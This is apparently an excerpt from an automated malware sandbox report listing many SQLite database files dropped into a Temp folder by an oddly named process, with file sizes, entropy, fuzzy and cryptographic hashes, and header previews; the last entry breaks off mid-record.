File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pCFD50AaVA

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pGHmTMnDWM

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\prBHN82LmV

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pxqCu1IVSq

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qEcadzecx8

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qGZBiJvF44

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qUxsn2A29f

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qwY6z9O8ws

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rieybhkxEC

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sJz0xx8nXM

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\smDxtsGPXw

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t12yKQWFSw

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tDDUlPl6DN

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tMFTFPfYCZ

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tS4oBUXOve

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmX5ERdFfY

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ttSuA0ZcoK

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ttmLhDr2AQ

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u2I7wY9yck

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uSKQxEpL1X

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uxezmwG5zT

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\v4Ubh2OLXj

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vSlu1DIHY6

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vYLmi65ODA

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vfeNVIcFzm

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w9ppAg2df7

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
